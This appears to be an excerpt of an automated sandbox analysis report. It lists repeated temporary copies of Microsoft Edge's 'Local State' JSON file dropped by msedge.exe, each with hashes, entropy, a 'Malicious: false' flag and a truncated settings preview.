Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA8eSn3m0PZypIwxoaFrdO7+pn2E6lFvSncoiSqVa3dMwAAAAAOgAAAAAIAACAAAABTogBcMyXehkRG6ogbAPoQxPcFqlTljFOOa2i01v1piTAAAABWagOWdCcpe9Z1ghJaeFjFiEgVravPwkRGqlPcaF0IQOcenywDGQT/cemx9fvlXqpAAAAASJd26sYmA9L8Dr6LsbLx8LO4RdEbEkDGuJtyEZROFLa7Z2hxJYglihAgBJoN8z/dOXYfjp4CDDTFyPu6ebFAFg=="},"profile":{"info_cache":{},"profile_counts_reported":"13369625292349427","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725151691"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF2c50b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.50614136503971
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtA+VDvp5RxYyikieAJdXBuBuwBqa3YLlNhYpYXiCQQRCYfYg:YuBqDPafLJNx+cGgBzBqjpYpYQB0
MD5:	763C25ECFC4C00B1B04A062662DCDDB4
SHA1:	21FD96CE1261160E88431A1541C18D06ED21E2C4
SHA-256:	D0AAA5982DB464259768ABB2F7E98CC6066BAA58CE441A5B3756C9BF2C0813F6
SHA-512:	D7231CABCBE50BCA347DCCF62DBBF48E0CFB36BC0188198ED5F3B6C06A019E16E943D501C75D5CA74431C4D3C5E1873073397C274315E3CDCC407634B952B97E
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA8eSn3m0PZypIwxoaFrdO7+pn2E6lFvSncoiSqVa3dMwAAAAAOgAAAAAIAACAAAABTogBcMyXehkRG6ogbAPoQxPcFqlTljFOOa2i01v1piTAAAABWagOWdCcpe9Z1ghJaeFjFiEgVravPwkRGqlPcaF0IQOcenywDGQT/cemx9fvlXqpAAAAASJd26sYmA9L8Dr6LsbLx8LO4RdEbEkDGuJtyEZROFLa7Z2hxJYglihAgBJoN8z/dOXYfjp4CDDTFyPu6ebFAFg=="},"profile":{"info_cache":{},"profile_counts_reported":"13369625292349427","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725151691"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF2c75d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.50614136503971
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtA+VDvp5RxYyikieAJdXBuBuwBqa3YLlNhYpYXiCQQRCYfYg:YuBqDPafLJNx+cGgBzBqjpYpYQB0
MD5:	763C25ECFC4C00B1B04A062662DCDDB4
SHA1:	21FD96CE1261160E88431A1541C18D06ED21E2C4
SHA-256:	D0AAA5982DB464259768ABB2F7E98CC6066BAA58CE441A5B3756C9BF2C0813F6
SHA-512:	D7231CABCBE50BCA347DCCF62DBBF48E0CFB36BC0188198ED5F3B6C06A019E16E943D501C75D5CA74431C4D3C5E1873073397C274315E3CDCC407634B952B97E
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA8eSn3m0PZypIwxoaFrdO7+pn2E6lFvSncoiSqVa3dMwAAAAAOgAAAAAIAACAAAABTogBcMyXehkRG6ogbAPoQxPcFqlTljFOOa2i01v1piTAAAABWagOWdCcpe9Z1ghJaeFjFiEgVravPwkRGqlPcaF0IQOcenywDGQT/cemx9fvlXqpAAAAASJd26sYmA9L8Dr6LsbLx8LO4RdEbEkDGuJtyEZROFLa7Z2hxJYglihAgBJoN8z/dOXYfjp4CDDTFyPu6ebFAFg=="},"profile":{"info_cache":{},"profile_counts_reported":"13369625292349427","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725151691"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF2c77c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.50614136503971
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtA+VDvp5RxYyikieAJdXBuBuwBqa3YLlNhYpYXiCQQRCYfYg:YuBqDPafLJNx+cGgBzBqjpYpYQB0
MD5:	763C25ECFC4C00B1B04A062662DCDDB4
SHA1:	21FD96CE1261160E88431A1541C18D06ED21E2C4
SHA-256:	D0AAA5982DB464259768ABB2F7E98CC6066BAA58CE441A5B3756C9BF2C0813F6
SHA-512:	D7231CABCBE50BCA347DCCF62DBBF48E0CFB36BC0188198ED5F3B6C06A019E16E943D501C75D5CA74431C4D3C5E1873073397C274315E3CDCC407634B952B97E
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA8eSn3m0PZypIwxoaFrdO7+pn2E6lFvSncoiSqVa3dMwAAAAAOgAAAAAIAACAAAABTogBcMyXehkRG6ogbAPoQxPcFqlTljFOOa2i01v1piTAAAABWagOWdCcpe9Z1ghJaeFjFiEgVravPwkRGqlPcaF0IQOcenywDGQT/cemx9fvlXqpAAAAASJd26sYmA9L8Dr6LsbLx8LO4RdEbEkDGuJtyEZROFLa7Z2hxJYglihAgBJoN8z/dOXYfjp4CDDTFyPu6ebFAFg=="},"profile":{"info_cache":{},"profile_counts_reported":"13369625292349427","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725151691"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF2ee9c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.50614136503971
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtA+VDvp5RxYyikieAJdXBuBuwBqa3YLlNhYpYXiCQQRCYfYg:YuBqDPafLJNx+cGgBzBqjpYpYQB0
MD5:	763C25ECFC4C00B1B04A062662DCDDB4
SHA1:	21FD96CE1261160E88431A1541C18D06ED21E2C4
SHA-256:	D0AAA5982DB464259768ABB2F7E98CC6066BAA58CE441A5B3756C9BF2C0813F6
SHA-512:	D7231CABCBE50BCA347DCCF62DBBF48E0CFB36BC0188198ED5F3B6C06A019E16E943D501C75D5CA74431C4D3C5E1873073397C274315E3CDCC407634B952B97E
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA8eSn3m0PZypIwxoaFrdO7+pn2E6lFvSncoiSqVa3dMwAAAAAOgAAAAAIAACAAAABTogBcMyXehkRG6ogbAPoQxPcFqlTljFOOa2i01v1piTAAAABWagOWdCcpe9Z1ghJaeFjFiEgVravPwkRGqlPcaF0IQOcenywDGQT/cemx9fvlXqpAAAAASJd26sYmA9L8Dr6LsbLx8LO4RdEbEkDGuJtyEZROFLa7Z2hxJYglihAgBJoN8z/dOXYfjp4CDDTFyPu6ebFAFg=="},"profile":{"info_cache":{},"profile_counts_reported":"13369625292349427","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725151691"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF31b88.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.50614136503971
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtA+VDvp5RxYyikieAJdXBuBuwBqa3YLlNhYpYXiCQQRCYfYg:YuBqDPafLJNx+cGgBzBqjpYpYQB0
MD5:	763C25ECFC4C00B1B04A062662DCDDB4
SHA1:	21FD96CE1261160E88431A1541C18D06ED21E2C4
SHA-256:	D0AAA5982DB464259768ABB2F7E98CC6066BAA58CE441A5B3756C9BF2C0813F6
SHA-512:	D7231CABCBE50BCA347DCCF62DBBF48E0CFB36BC0188198ED5F3B6C06A019E16E943D501C75D5CA74431C4D3C5E1873073397C274315E3CDCC407634B952B97E
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA8eSn3m0PZypIwxoaFrdO7+pn2E6lFvSncoiSqVa3dMwAAAAAOgAAAAAIAACAAAABTogBcMyXehkRG6ogbAPoQxPcFqlTljFOOa2i01v1piTAAAABWagOWdCcpe9Z1ghJaeFjFiEgVravPwkRGqlPcaF0IQOcenywDGQT/cemx9fvlXqpAAAAASJd26sYmA9L8Dr6LsbLx8LO4RdEbEkDGuJtyEZROFLa7Z2hxJYglihAgBJoN8z/dOXYfjp4CDDTFyPu6ebFAFg=="},"profile":{"info_cache":{},"profile_counts_reported":"13369625292349427","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725151691"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF348d2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.50614136503971
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtA+VDvp5RxYyikieAJdXBuBuwBqa3YLlNhYpYXiCQQRCYfYg:YuBqDPafLJNx+cGgBzBqjpYpYQB0
MD5:	763C25ECFC4C00B1B04A062662DCDDB4
SHA1:	21FD96CE1261160E88431A1541C18D06ED21E2C4
SHA-256:	D0AAA5982DB464259768ABB2F7E98CC6066BAA58CE441A5B3756C9BF2C0813F6
SHA-512:	D7231CABCBE50BCA347DCCF62DBBF48E0CFB36BC0188198ED5F3B6C06A019E16E943D501C75D5CA74431C4D3C5E1873073397C274315E3CDCC407634B952B97E
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA8eSn3m0PZypIwxoaFrdO7+pn2E6lFvSncoiSqVa3dMwAAAAAOgAAAAAIAACAAAABTogBcMyXehkRG6ogbAPoQxPcFqlTljFOOa2i01v1piTAAAABWagOWdCcpe9Z1ghJaeFjFiEgVravPwkRGqlPcaF0IQOcenywDGQT/cemx9fvlXqpAAAAASJd26sYmA9L8Dr6LsbLx8LO4RdEbEkDGuJtyEZROFLa7Z2hxJYglihAgBJoN8z/dOXYfjp4CDDTFyPu6ebFAFg=="},"profile":{"info_cache":{},"profile_counts_reported":"13369625292349427","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725151691"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF377d1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.50614136503971
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtA+VDvp5RxYyikieAJdXBuBuwBqa3YLlNhYpYXiCQQRCYfYg:YuBqDPafLJNx+cGgBzBqjpYpYQB0
MD5:	763C25ECFC4C00B1B04A062662DCDDB4
SHA1:	21FD96CE1261160E88431A1541C18D06ED21E2C4
SHA-256:	D0AAA5982DB464259768ABB2F7E98CC6066BAA58CE441A5B3756C9BF2C0813F6
SHA-512:	D7231CABCBE50BCA347DCCF62DBBF48E0CFB36BC0188198ED5F3B6C06A019E16E943D501C75D5CA74431C4D3C5E1873073397C274315E3CDCC407634B952B97E
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA8eSn3m0PZypIwxoaFrdO7+pn2E6lFvSncoiSqVa3dMwAAAAAOgAAAAAIAACAAAABTogBcMyXehkRG6ogbAPoQxPcFqlTljFOOa2i01v1piTAAAABWagOWdCcpe9Z1ghJaeFjFiEgVravPwkRGqlPcaF0IQOcenywDGQT/cemx9fvlXqpAAAAASJd26sYmA9L8Dr6LsbLx8LO4RdEbEkDGuJtyEZROFLa7Z2hxJYglihAgBJoN8z/dOXYfjp4CDDTFyPu6ebFAFg=="},"profile":{"info_cache":{},"profile_counts_reported":"13369625292349427","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725151691"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF3a72e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.50614136503971
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtA+VDvp5RxYyikieAJdXBuBuwBqa3YLlNhYpYXiCQQRCYfYg:YuBqDPafLJNx+cGgBzBqjpYpYQB0
MD5:	763C25ECFC4C00B1B04A062662DCDDB4
SHA1:	21FD96CE1261160E88431A1541C18D06ED21E2C4
SHA-256:	D0AAA5982DB464259768ABB2F7E98CC6066BAA58CE441A5B3756C9BF2C0813F6
SHA-512:	D7231CABCBE50BCA347DCCF62DBBF48E0CFB36BC0188198ED5F3B6C06A019E16E943D501C75D5CA74431C4D3C5E1873073397C274315E3CDCC407634B952B97E
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA8eSn3m0PZypIwxoaFrdO7+pn2E6lFvSncoiSqVa3dMwAAAAAOgAAAAAIAACAAAABTogBcMyXehkRG6ogbAPoQxPcFqlTljFOOa2i01v1piTAAAABWagOWdCcpe9Z1ghJaeFjFiEgVravPwkRGqlPcaF0IQOcenywDGQT/cemx9fvlXqpAAAAASJd26sYmA9L8Dr6LsbLx8LO4RdEbEkDGuJtyEZROFLa7Z2hxJYglihAgBJoN8z/dOXYfjp4CDDTFyPu6ebFAFg=="},"profile":{"info_cache":{},"profile_counts_reported":"13369625292349427","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725151691"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF3d756.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.50614136503971
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtA+VDvp5RxYyikieAJdXBuBuwBqa3YLlNhYpYXiCQQRCYfYg:YuBqDPafLJNx+cGgBzBqjpYpYQB0
MD5:	763C25ECFC4C00B1B04A062662DCDDB4
SHA1:	21FD96CE1261160E88431A1541C18D06ED21E2C4
SHA-256:	D0AAA5982DB464259768ABB2F7E98CC6066BAA58CE441A5B3756C9BF2C0813F6
SHA-512:	D7231CABCBE50BCA347DCCF62DBBF48E0CFB36BC0188198ED5F3B6C06A019E16E943D501C75D5CA74431C4D3C5E1873073397C274315E3CDCC407634B952B97E
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA8eSn3m0PZypIwxoaFrdO7+pn2E6lFvSncoiSqVa3dMwAAAAAOgAAAAAIAACAAAABTogBcMyXehkRG6ogbAPoQxPcFqlTljFOOa2i01v1piTAAAABWagOWdCcpe9Z1ghJaeFjFiEgVravPwkRGqlPcaF0IQOcenywDGQT/cemx9fvlXqpAAAAASJd26sYmA9L8Dr6LsbLx8LO4RdEbEkDGuJtyEZROFLa7Z2hxJYglihAgBJoN8z/dOXYfjp4CDDTFyPu6ebFAFg=="},"profile":{"info_cache":{},"profile_counts_reported":"13369625292349427","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725151691"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF401c1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.50614136503971
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtA+VDvp5RxYyikieAJdXBuBuwBqa3YLlNhYpYXiCQQRCYfYg:YuBqDPafLJNx+cGgBzBqjpYpYQB0
MD5:	763C25ECFC4C00B1B04A062662DCDDB4
SHA1:	21FD96CE1261160E88431A1541C18D06ED21E2C4
SHA-256:	D0AAA5982DB464259768ABB2F7E98CC6066BAA58CE441A5B3756C9BF2C0813F6
SHA-512:	D7231CABCBE50BCA347DCCF62DBBF48E0CFB36BC0188198ED5F3B6C06A019E16E943D501C75D5CA74431C4D3C5E1873073397C274315E3CDCC407634B952B97E
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA8eSn3m0PZypIwxoaFrdO7+pn2E6lFvSncoiSqVa3dMwAAAAAOgAAAAAIAACAAAABTogBcMyXehkRG6ogbAPoQxPcFqlTljFOOa2i01v1piTAAAABWagOWdCcpe9Z1ghJaeFjFiEgVravPwkRGqlPcaF0IQOcenywDGQT/cemx9fvlXqpAAAAASJd26sYmA9L8Dr6LsbLx8LO4RdEbEkDGuJtyEZROFLa7Z2hxJYglihAgBJoN8z/dOXYfjp4CDDTFyPu6ebFAFg=="},"profile":{"info_cache":{},"profile_counts_reported":"13369625292349427","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725151691"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF428c2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.50614136503971
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtA+VDvp5RxYyikieAJdXBuBuwBqa3YLlNhYpYXiCQQRCYfYg:YuBqDPafLJNx+cGgBzBqjpYpYQB0
MD5:	763C25ECFC4C00B1B04A062662DCDDB4
SHA1:	21FD96CE1261160E88431A1541C18D06ED21E2C4
SHA-256:	D0AAA5982DB464259768ABB2F7E98CC6066BAA58CE441A5B3756C9BF2C0813F6
SHA-512:	D7231CABCBE50BCA347DCCF62DBBF48E0CFB36BC0188198ED5F3B6C06A019E16E943D501C75D5CA74431C4D3C5E1873073397C274315E3CDCC407634B952B97E
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA8eSn3m0PZypIwxoaFrdO7+pn2E6lFvSncoiSqVa3dMwAAAAAOgAAAAAIAACAAAABTogBcMyXehkRG6ogbAPoQxPcFqlTljFOOa2i01v1piTAAAABWagOWdCcpe9Z1ghJaeFjFiEgVravPwkRGqlPcaF0IQOcenywDGQT/cemx9fvlXqpAAAAASJd26sYmA9L8Dr6LsbLx8LO4RdEbEkDGuJtyEZROFLa7Z2hxJYglihAgBJoN8z/dOXYfjp4CDDTFyPu6ebFAFg=="},"profile":{"info_cache":{},"profile_counts_reported":"13369625292349427","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725151691"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF455ec.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.50614136503971
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtA+VDvp5RxYyikieAJdXBuBuwBqa3YLlNhYpYXiCQQRCYfYg:YuBqDPafLJNx+cGgBzBqjpYpYQB0
MD5:	763C25ECFC4C00B1B04A062662DCDDB4
SHA1:	21FD96CE1261160E88431A1541C18D06ED21E2C4
SHA-256:	D0AAA5982DB464259768ABB2F7E98CC6066BAA58CE441A5B3756C9BF2C0813F6
SHA-512:	D7231CABCBE50BCA347DCCF62DBBF48E0CFB36BC0188198ED5F3B6C06A019E16E943D501C75D5CA74431C4D3C5E1873073397C274315E3CDCC407634B952B97E
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false}},"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA8eSn3m0PZypIwxoaFrdO7+pn2E6lFvSncoiSqVa3dMwAAAAAOgAAAAAIAACAAAABTogBcMyXehkRG6ogbAPoQxPcFqlTljFOOa2i01v1piTAAAABWagOWdCcpe9Z1ghJaeFjFiEgVravPwkRGqlPcaF0IQOcenywDGQT/cemx9fvlXqpAAAAASJd26sYmA9L8Dr6LsbLx8LO4RdEbEkDGuJtyEZROFLa7Z2hxJYglihAgBJoN8z/dOXYfjp4CDDTFyPu6ebFAFg=="},"profile":{"info_cache":{},"profile_counts_reported":"13369625292349427","profiles_order":[]},"smartscreen":{"enabled":true,"pua_protection_enabled":true},"telemetry_client":{"install_source_name":"windows","os_integration_level":5,"updater_version":"1.3.177.11","windows_update_applied":false},"uninstall_metrics":{"installation_date2":"1725151691"},"user_experienc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Local State~RF47ea2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1371
Entropy (8bit):	5.50614136503971
Encrypted:	false
SSDEEP:	24:YpQBqDPak7u5rrtA+VDvp5RxYyikieAJdXBuBuwBqa3YLlNhYpYXiCQQRCYfYg:YuBqDPafLJNx+cGgBzBqjpYpYQB0
MD5:	763C25ECFC4C00B1B04A062662DCDDB4
SHA1:	21FD96CE1261160E88431A1541C18D06ED21E2C4
SHA-256:	D0AAA5982DB464259768ABB2F7E98CC6066BAA58CE441A5B3756C9BF2C0813F6
SHA-512:	D7231CABCBE50BCA347DCCF62DBBF48E0CFB36BC0188198ED5F3B6C06A019E16E943D501C75D5CA74431C4D3C5E1873073397C274315E3CDCC407634B952B97E
Malicious:	false
